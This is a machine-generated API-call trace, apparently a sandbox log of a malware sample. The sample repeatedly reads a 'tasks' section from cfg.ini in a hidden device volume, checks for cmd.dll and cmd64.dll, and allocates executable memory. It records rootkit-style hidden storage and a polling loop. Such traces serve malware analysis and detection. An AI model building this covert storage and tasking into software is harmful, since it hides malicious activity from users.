IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.480] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.480] IdePortDispatch () returned 0x103 [0128.480] KeWaitForMutexObject () returned 0x0 [0128.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.480] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.480] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.480] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.480] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.480] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe100 [0128.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.480] KeLeaveCriticalRegion () [0128.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.480] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.480] KeEnterCriticalRegion () [0128.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.480] KeLeaveCriticalRegion () [0128.480] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.481] KeEnterCriticalRegion () [0128.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.481] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.481] IdePortDispatch () returned 0x103 [0128.481] KeWaitForMutexObject () returned 0x0 [0128.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.481] KeLeaveCriticalRegion () [0128.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.481] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.481] KeEnterCriticalRegion () [0128.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ad000 [0128.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.481] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.481] IdePortDispatch () returned 0x103 [0128.481] KeWaitForMutexObject () returned 0x0 [0128.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.481] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.481] IdePortDispatch () returned 0x103 [0128.482] KeWaitForMutexObject () returned 0x0 [0128.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.482] KeLeaveCriticalRegion () [0128.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.482] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.482] KeEnterCriticalRegion () [0128.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.482] KeLeaveCriticalRegion () [0128.482] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.482] KeEnterCriticalRegion () [0128.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.482] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.482] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.482] KeLeaveCriticalRegion () [0128.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.483] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.483] KeEnterCriticalRegion () [0128.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.483] ExFreePoolWithTag (P=0xfffffa8003bfe100, Tag=0x0) [0128.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.483] KeLeaveCriticalRegion () [0128.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.483] ReleaseMutex (hMutex=0xf0) returned 1 [0128.483] Sleep (dwMilliseconds=0x927c0) [0128.497] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.497] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.497] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.498] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.498] KeEnterCriticalRegion () [0128.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.498] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.498] IdePortDispatch () returned 0x103 [0128.498] KeWaitForMutexObject () returned 0x0 [0128.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.498] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.498] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.498] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.498] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.498] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365e530 [0128.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.498] KeLeaveCriticalRegion () [0128.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.498] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.498] KeEnterCriticalRegion () [0128.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.498] KeLeaveCriticalRegion () [0128.498] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.498] KeEnterCriticalRegion () [0128.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.498] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.498] IdePortDispatch () returned 0x103 [0128.498] KeWaitForMutexObject () returned 0x0 [0128.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.499] KeLeaveCriticalRegion () [0128.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.499] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.499] KeEnterCriticalRegion () [0128.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b2000 [0128.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.499] IdePortDispatch () returned 0x103 [0128.499] KeWaitForMutexObject () returned 0x0 [0128.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.499] IdePortDispatch () returned 0x103 [0128.499] KeWaitForMutexObject () returned 0x0 [0128.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] KeLeaveCriticalRegion () [0128.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.500] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.500] KeEnterCriticalRegion () [0128.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] KeLeaveCriticalRegion () [0128.500] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.500] KeEnterCriticalRegion () [0128.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.500] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] KeLeaveCriticalRegion () [0128.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.500] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.500] KeEnterCriticalRegion () [0128.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] ExFreePoolWithTag (P=0xfffffa800365e530, Tag=0x0) [0128.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.500] KeLeaveCriticalRegion () [0128.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.501] ReleaseMutex (hMutex=0xf0) returned 1 [0128.501] Sleep (dwMilliseconds=0x927c0) [0128.517] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.517] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.517] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.517] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.517] KeEnterCriticalRegion () [0128.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.517] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.517] IdePortDispatch () returned 0x103 [0128.517] KeWaitForMutexObject () returned 0x0 [0128.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.517] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.517] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.517] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.517] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.517] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff240 [0128.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.517] KeLeaveCriticalRegion () [0128.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.517] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.517] KeEnterCriticalRegion () [0128.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.518] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.518] KeLeaveCriticalRegion () [0128.518] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.518] KeEnterCriticalRegion () [0128.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.518] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.518] IdePortDispatch () returned 0x103 [0128.518] KeWaitForMutexObject () returned 0x0 [0128.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.518] KeLeaveCriticalRegion () [0128.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.518] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.518] KeEnterCriticalRegion () [0128.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0128.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.518] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.518] IdePortDispatch () returned 0x103 [0128.518] KeWaitForMutexObject () returned 0x0 [0128.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.519] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.519] IdePortDispatch () returned 0x103 [0128.519] KeWaitForMutexObject () returned 0x0 [0128.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.519] KeLeaveCriticalRegion () [0128.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.519] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.519] KeEnterCriticalRegion () [0128.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.519] KeLeaveCriticalRegion () [0128.519] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.519] KeEnterCriticalRegion () [0128.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.520] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.520] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80036498e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.520] KeLeaveCriticalRegion () [0128.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.520] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.520] KeEnterCriticalRegion () [0128.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.520] ExFreePoolWithTag (P=0xfffffa8003bff240, Tag=0x0) [0128.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.520] KeLeaveCriticalRegion () [0128.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.520] ReleaseMutex (hMutex=0xf0) returned 1 [0128.520] Sleep (dwMilliseconds=0x927c0) [0128.535] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.535] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.535] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.535] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.535] KeEnterCriticalRegion () [0128.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.535] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.535] IdePortDispatch () returned 0x103 [0128.535] KeWaitForMutexObject () returned 0x0 [0128.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.535] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.535] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.535] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.535] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.535] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036495e0 [0128.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.535] KeLeaveCriticalRegion () [0128.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.535] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.535] KeEnterCriticalRegion () [0128.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.535] KeLeaveCriticalRegion () [0128.535] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.536] KeEnterCriticalRegion () [0128.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 